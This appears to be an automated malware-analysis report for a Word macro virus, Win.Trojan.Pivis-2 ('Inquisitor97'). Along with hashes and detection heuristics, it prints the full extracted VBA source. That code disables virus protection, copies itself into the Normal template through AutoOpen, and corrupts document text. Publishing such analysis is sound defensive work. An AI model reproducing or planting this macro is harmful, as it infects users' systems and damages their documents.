Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 97832ba861f7a8e1…

MALICIOUS

Office (OLE)

30.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d1033d1b05b1a3786041e4d719171cbd SHA-1: 8c1b8683350dca834077174c05b34eeacb0a2abd SHA-256: 97832ba861f7a8e1e9e5a8f99e2e1e7bd06ad3b08df1d9b3ffcf95f4a61a3292
160 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as Win.Trojan.Pivis-2 by ClamAV. It contains legacy WordBasic macro markers and an AutoOpen macro that attempts to copy itself to the Normal template, indicating a mechanism for persistence and infection. The macro also includes a 'Payload' subroutine which, although truncated, suggests further malicious actions.

Heuristics 4

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1984 bytes
SHA-256: ad886c7846f038c0947107c9cb0520901561d34f8d3c3301e04e192c7fc16fd3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Attribute VB_Name = "Module1"
Sub AutoOpen()
On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.ReadOnlyRecommended = False
Call Inquisitor97
Call Payload(Int(Rnd(100)))
End Sub

Sub Inquisitor97()
On Error Resume Next
Set test = MacroContainer
If test = NormalTemplate Then Call n
If test = ActiveDocument Then Call a
End Sub

Sub n()
On Error Resume Next
Application.OrganizerDelete ActiveDocument.FullName, "Module1", wdOrganizerObjectProjectItems
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Module1", wdOrganizerObjectProjectItems
ActiveDocument.Save
End Sub
Sub a()
On Error Resume Next
Application.OrganizerDelete NormalTemplate.FullName, "Module1", wdOrganizerObjectProjectItems
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Module1", wdOrganizerObjectProjectItems
NormalTemplate.Save
End Sub
Sub ToolsMacro()
MsgBox "You have been infected by Inquisitor97"
Payload (42)
End Sub
Sub ViewVBCode()
MsgBox "You have been infected by Inquisitor97"
Payload (42)
End Sub
Sub Payload(num As Single)
If num = 42 Then
    
    Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    With Selection.Find
        .Text = "e"
        .Replacement.Text = "s"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.